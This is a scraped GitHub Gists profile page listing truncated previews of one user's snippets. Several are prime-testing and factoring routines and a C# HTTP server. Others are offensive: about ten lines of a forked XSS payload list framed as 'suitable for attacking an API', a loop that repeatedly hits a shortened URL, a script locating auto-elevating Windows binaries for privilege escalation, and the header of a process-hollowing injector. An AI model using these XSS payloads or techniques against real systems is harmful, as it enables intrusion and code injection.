Skip to content

Instantly share code, notes, and snippets.

View kaganisildak's full-sized avatar
🐼
wofap

Kağan IŞILDAK kaganisildak

🐼
wofap
View GitHub Profile
Function RHO(n As BigInteger)
Dim i, xi, k, y, d As BigInteger
i = 0
xi = ran.[Next](0, n - 1)
k = 2
y = xi
While i < n
i = i + 1
xi = BigInteger.ModPow(BigInteger.Pow(xi, 2) - 1, 1, n)
d = BigInteger.GreatestCommonDivisor(y - xi, n)
Dim gen As New Random
Function Solovay(n As BigInteger) As Boolean
If n = 2 Then
Return True
ElseIf n < 2 OrElse n.IsEven Then
Return False
End If
Dim bytes As [Byte]() = New [Byte](n.ToByteArray().LongLength - 1) {}
Dim a As BigInteger
Do
@kaganisildak
kaganisildak / 666_lines_of_XSS_vectors.html
Created August 12, 2017 12:45 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@kaganisildak
kaganisildak / SimpleHTTPServer.cs
Created September 1, 2017 20:55 — forked from aksakalli/SimpleHTTPServer.cs
SimpleHTTPServer in C#
// MIT License - Copyright (c) 2016 Can Güney Aksakalli
// https://aksakalli.github.io/2014/02/24/simple-http-server-with-csparp.html
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.Sockets;
using System.Net;
using System.IO;
import urllib.request
Sayi=1
while Sayi<10:
Sayi=Sayi+1
urllib.request.urlopen("https://goo.gl/ytXAxy").read()
static private BigInteger inversemod(BigInteger a, BigInteger n)
{
BigInteger i = n;
BigInteger v = 0;
BigInteger d = 1;
while (a > 0)
{
BigInteger t = i / a;
BigInteger x = a;
a = i % x;
Dim gen As New Random
Function IsPrime(value As BigInteger, Optional witness As Integer = 10) As Boolean
If value <= 1 Then
Return False
End If
Dim d As BigInteger = value - 1
Dim s As Integer = 0
While d Mod 2 = 0
d /= 2
s += 1
static private Boolean IsProbablyPrime(BigInteger value, int witnesses = 10)
{
if (value <= 1)
{
return false;
}
if (witnesses <= 0)
{
witnesses = 10;
}
@kaganisildak
kaganisildak / findelevate.py
Created July 12, 2018 09:20 — forked from riyazwalikar/findelevate.py
Python script to find all Windows binaries with autoElevate=True (uses sigcheck obviously)
# Usage: findelevate.py C:\Windows\System32\
# Needs sigcheck.exe in path [https://technet.microsoft.com/en-us/sysinternals/bb897441.aspx]
import sys
import os
import glob
import subprocess
if len(sys.argv) < 2:
print "Usage: findelevate.py <PATH>"
@kaganisildak
kaganisildak / Hollowing.cs
Created February 22, 2019 06:39 — forked from smgorelik/Hollowing.cs
Simple Process Hollowing C#
/***************
* Simple Process Hollowing in C#
*
* #Build Your Binaries
* c:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe Hollowing.cs /unsafe
*
* @author: Michael Gorelik <smgorelik@gmail.com>
* gist.github.com/smgorelik/9a80565d44178771abf1e4da4e2a0e75
* #Most of the code taken from here: @github: github.com/ambray